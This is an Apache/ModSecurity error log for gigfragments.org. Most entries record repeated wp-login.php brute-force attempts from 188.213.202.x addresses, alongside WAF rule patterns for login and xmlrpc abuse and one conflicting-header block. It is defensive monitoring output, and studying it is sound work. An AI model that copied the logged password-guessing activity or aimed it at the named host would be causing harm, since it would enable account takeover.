[Fri Nov 14 03:27:00.477933 2025] [:error] [pid 56495:tid 56518] [client 49.51.166.228:59570] [client 49.51.166.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRYxBFwO8wZZL5WJceXxPgAAANM"]
[Fri Nov 14 03:31:08.221183 2025] [:error] [pid 56495:tid 56504] [client 188.213.202.116:61405] [client 188.213.202.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRYx_FwO8wZZL5WJceXycgAAAMU"]
[Fri Nov 14 03:31:08.229125 2025] [:error] [pid 56495:tid 56510] [client 188.213.202.148:33063] [client 188.213.202.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRYx_FwO8wZZL5WJceXycwAAAMs"]
[Fri Nov 14 03:48:19.837895 2025] [:error] [pid 56586:tid 56600] [client 188.213.202.110:43299] [client 188.213.202.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRY2A67eYD3G9deYMP56BQAAAYk"]
[Fri Nov 14 03:48:19.838368 2025] [:error] [pid 56496:tid 56530] [client 188.213.202.157:38691] [client 188.213.202.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.157, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRY2A-h2ME7eucGJGGLxCQAAAAI"]
[Fri Nov 14 04:00:11.075448 2025] [:error] [pid 63341:tid 63414] [client 74.208.46.181:51008] [client 74.208.46.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.46.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRY4y_9OMlDAyO-AbduEOAAAAIw"]
[Fri Nov 14 04:05:28.201414 2025] [:error] [pid 63431:tid 63449] [client 188.213.202.110:21217] [client 188.213.202.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRY6CPoexCszyJt55AvfagAAAMw"]
[Fri Nov 14 04:05:28.204611 2025] [:error] [pid 63340:tid 63394] [client 188.213.202.128:21669] [client 188.213.202.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRY6CJBf3mqkFu6BA8b7XgAAAFM"]
[Fri Nov 14 04:23:00.783448 2025] [:error] [pid 2480:tid 2560] [client 188.213.202.156:24649] [client 188.213.202.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.156, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRY-JJhHsVhU0QxV221ALAAAAIs"]
[Fri Nov 14 04:23:00.784901 2025] [:error] [pid 2480:tid 2549] [client 188.213.202.117:41759] [client 188.213.202.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRY-JJhHsVhU0QxV221ALQAAAIA"]
[Fri Nov 14 04:40:21.735103 2025] [:error] [pid 47242:tid 47262] [client 188.213.202.122:55069] [client 188.213.202.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZCNVPNnvrux3OMagxhugAAANE"]
[Fri Nov 14 04:40:21.756002 2025] [:error] [pid 47242:tid 47261] [client 188.213.202.117:42669] [client 188.213.202.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZCNVPNnvrux3OMagxhuwAAANA"]
[Fri Nov 14 04:57:18.462241 2025] [:error] [pid 47154:tid 47161] [client 188.213.202.115:54655] [client 188.213.202.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZGLkijA13A3g3ATrJUywAAAAI"]
[Fri Nov 14 04:57:18.463333 2025] [:error] [pid 47156:tid 47238] [client 188.213.202.131:42119] [client 188.213.202.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZGLtjrQX_P-kC7M_7UsAAAAJc"]
[Fri Nov 14 05:14:43.010939 2025] [:error] [pid 47154:tid 47165] [client 188.213.202.130:54165] [client 188.213.202.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZKQ0ijA13A3g3ATrJbLAAAAAY"]
[Fri Nov 14 05:14:43.011243 2025] [:error] [pid 47154:tid 47183] [client 188.213.202.153:23961] [client 188.213.202.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.153, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZKQ0ijA13A3g3ATrJbLQAAABg"]
[Fri Nov 14 05:32:04.419661 2025] [:error] [pid 47156:tid 47218] [client 188.213.202.116:44419] [client 188.213.202.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZOVNjrQX_P-kC7M_7ikQAAAIQ"]
[Fri Nov 14 05:32:04.419797 2025] [:error] [pid 47154:tid 47165] [client 188.213.202.117:55061] [client 188.213.202.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZOVEijA13A3g3ATrJh5QAAAAY"]
[Fri Nov 14 05:48:56.404950 2025] [:error] [pid 47242:tid 47260] [client 188.213.202.108:26379] [client 188.213.202.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZSSFPNnvrux3OMagyB3AAAAM8"]
[Fri Nov 14 05:48:56.405036 2025] [:error] [pid 47155:tid 47193] [client 188.213.202.115:32951] [client 188.213.202.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZSSJipxRXMZJH8hmjuvQAAAEc"]
[Fri Nov 14 05:49:57.599667 2025] [:error] [pid 47154:tid 47164] [client 135.181.126.51:37182] [client 135.181.126.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.181.126.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRZShUijA13A3g3ATrJpPAAAAAU"]
[Fri Nov 14 06:05:58.870163 2025] [:error] [pid 47156:tid 47225] [client 188.213.202.140:45127] [client 188.213.202.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.140, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZWRtjrQX_P-kC7M_7xpgAAAIs"]
[Fri Nov 14 06:05:58.875123 2025] [:error] [pid 47155:tid 47194] [client 188.213.202.140:46033] [client 188.213.202.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.140, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZWRpipxRXMZJH8hmj1QgAAAEg"]
[Fri Nov 14 06:23:15.921144 2025] [:error] [pid 47630:tid 47652] [client 188.213.202.108:58981] [client 188.213.202.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZaU8xXXNBfWgpfVJ45sAAAARQ"]
[Fri Nov 14 06:23:15.921169 2025] [:error] [pid 47154:tid 47159] [client 188.213.202.130:20303] [client 188.213.202.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZaU0ijA13A3g3ATrJ4nQAAAAA"]
[Fri Nov 14 06:40:33.199524 2025] [:error] [pid 47156:tid 47225] [client 188.213.202.141:24343] [client 188.213.202.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZeYdjrQX_P-kC7M_4EGQAAAIs"]
[Fri Nov 14 06:40:33.201400 2025] [:error] [pid 47630:tid 47637] [client 188.213.202.111:53603] [client 188.213.202.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZeYcxXXNBfWgpfVJ5FfwAAAQU"]
[Fri Nov 14 06:57:47.249352 2025] [:error] [pid 47242:tid 47251] [client 188.213.202.130:32981] [client 188.213.202.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZia1PNnvrux3OMagylBwAAAMY"]
[Fri Nov 14 06:57:47.249484 2025] [:error] [pid 47242:tid 47248] [client 188.213.202.131:33421] [client 188.213.202.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZia1PNnvrux3OMagylBgAAAMM"]
[Fri Nov 14 07:15:21.181194 2025] [:error] [pid 47156:tid 47227] [client 188.213.202.115:44989] [client 188.213.202.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZmidjrQX_P-kC7M_4SlgAAAI0"]
[Fri Nov 14 07:15:21.182602 2025] [:error] [pid 47630:tid 47654] [client 188.213.202.110:24969] [client 188.213.202.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZmicxXXNBfWgpfVJ5WBwAAARY"]
[Fri Nov 14 07:32:51.828727 2025] [:error] [pid 47630:tid 47632] [client 188.213.202.112:44457] [client 188.213.202.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZqo8xXXNBfWgpfVJ5bZQAAAQA"]
[Fri Nov 14 07:32:51.872736 2025] [:error] [pid 47156:tid 47232] [client 188.213.202.118:50301] [client 188.213.202.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZqo9jrQX_P-kC7M_4aRgAAAJI"]
[Fri Nov 14 07:50:18.580890 2025] [:error] [pid 59105:tid 59118] [client 188.213.202.136:54839] [client 188.213.202.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZuurd-anP1JpNfuSKYowAAAUs"]
[Fri Nov 14 07:50:18.582221 2025] [:error] [pid 47155:tid 47207] [client 188.213.202.116:53047] [client 188.213.202.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZuupipxRXMZJH8hmgcNwAAAFU"]
[Fri Nov 14 08:07:39.967258 2025] [:error] [pid 47155:tid 47201] [client 188.213.202.129:37437] [client 188.213.202.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZyy5ipxRXMZJH8hmgg8gAAAE8"]
[Fri Nov 14 08:07:39.967269 2025] [:error] [pid 47155:tid 47190] [client 188.213.202.129:58153] [client 188.213.202.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZyy5ipxRXMZJH8hmgg8wAAAEQ"]
[Fri Nov 14 08:25:03.762148 2025] [:error] [pid 59105:tid 59117] [client 188.213.202.121:30147] [client 188.213.202.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.121, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZ237d-anP1JpNfuSKlhgAAAUo"]
[Fri Nov 14 08:25:03.762148 2025] [:error] [pid 59105:tid 59110] [client 188.213.202.152:62405] [client 188.213.202.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.152, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZ237d-anP1JpNfuSKlhQAAAUM"]
[Fri Nov 14 08:42:28.995440 2025] [:error] [pid 47155:tid 47188] [client 188.213.202.128:61211] [client 188.213.202.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZ69JipxRXMZJH8hmgsewAAAEI"]
[Fri Nov 14 08:42:29.004174 2025] [:error] [pid 47630:tid 47637] [client 188.213.202.118:25503] [client 188.213.202.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZ69cxXXNBfWgpfVJ5z2wAAAQU"]
[Fri Nov 14 09:00:03.902733 2025] [:error] [pid 47242:tid 47251] [client 188.213.202.151:31213] [client 188.213.202.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZ_E1PNnvrux3OMagzOFwAAAMY"]
[Fri Nov 14 09:00:03.903793 2025] [:error] [pid 47630:tid 47647] [client 188.213.202.144:37767] [client 188.213.202.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRZ_E8xXXNBfWgpfVJ551wAAAQ8"]
[Fri Nov 14 09:17:32.110867 2025] [:error] [pid 59105:tid 59116] [client 188.213.202.113:62911] [client 188.213.202.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaDLLd-anP1JpNfuSK63wAAAUk"]
[Fri Nov 14 09:17:32.112451 2025] [:error] [pid 47630:tid 47644] [client 188.213.202.152:55423] [client 188.213.202.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.152, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaDLMxXXNBfWgpfVJ5_VAAAAQw"]
[Fri Nov 14 09:34:38.276248 2025] [:error] [pid 47156:tid 47229] [client 188.213.202.151:60495] [client 188.213.202.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaHLtjrQX_P-kC7M_5bHwAAAI8"]
[Fri Nov 14 09:34:38.276253 2025] [:error] [pid 47154:tid 47173] [client 188.213.202.128:62291] [client 188.213.202.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaHLkijA13A3g3ATrK4KAAAAA4"]
[Fri Nov 14 09:52:15.450997 2025] [:error] [pid 47154:tid 47178] [client 188.213.202.139:24335] [client 188.213.202.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaLT0ijA13A3g3ATrK9qgAAABM"]
[Fri Nov 14 09:52:15.451027 2025] [:error] [pid 47154:tid 47177] [client 188.213.202.149:52149] [client 188.213.202.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaLT0ijA13A3g3ATrK9qwAAABI"]
[Fri Nov 14 10:10:12.530879 2025] [:error] [pid 47156:tid 47215] [client 188.213.202.130:22711] [client 188.213.202.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.130, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaPhNjrQX_P-kC7M_5vywAAAIE"]
[Fri Nov 14 10:10:12.532361 2025] [:error] [pid 59105:tid 59121] [client 188.213.202.144:62769] [client 188.213.202.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaPhLd-anP1JpNfuSLUDAAAAU4"]
[Fri Nov 14 10:18:49.464661 2025] [proxy_fcgi:error] [pid 47630:tid 47647] (70007)The timeout specified has expired: [client 51.81.107.180:37676] AH01075: Error dispatching request to : (polling)
[Fri Nov 14 10:27:51.372653 2025] [:error] [pid 47242:tid 47247] [client 188.213.202.141:64851] [client 188.213.202.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaTp1PNnvrux3OMagzu_wAAAMI"]
[Fri Nov 14 10:27:51.373124 2025] [:error] [pid 59105:tid 59126] [client 188.213.202.152:49379] [client 188.213.202.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.152, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaTp7d-anP1JpNfuSLbwQAAAVM"]
[Fri Nov 14 10:45:42.652289 2025] [:error] [pid 47154:tid 47164] [client 188.213.202.112:49341] [client 188.213.202.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaX1kijA13A3g3ATrLSjQAAAAU"]
[Fri Nov 14 10:45:42.655600 2025] [:error] [pid 47242:tid 47249] [client 188.213.202.117:55995] [client 188.213.202.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRaX1lPNnvrux3OMagz2TgAAAMQ"]
[Fri Nov 14 11:04:00.131330 2025] [:error] [pid 47154:tid 47161] [client 188.213.202.111:22253] [client 188.213.202.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRacIEijA13A3g3ATrLYeAAAAAI"]
[Fri Nov 14 11:04:00.131845 2025] [:error] [pid 47242:tid 47259] [client 188.213.202.116:32359] [client 188.213.202.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRacIFPNnvrux3OMagz9zwAAAM4"]
[Fri Nov 14 11:22:25.072119 2025] [:error] [pid 47155:tid 47186] [client 188.213.202.107:31827] [client 188.213.202.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRagcZipxRXMZJH8hmhoXgAAAEA"]
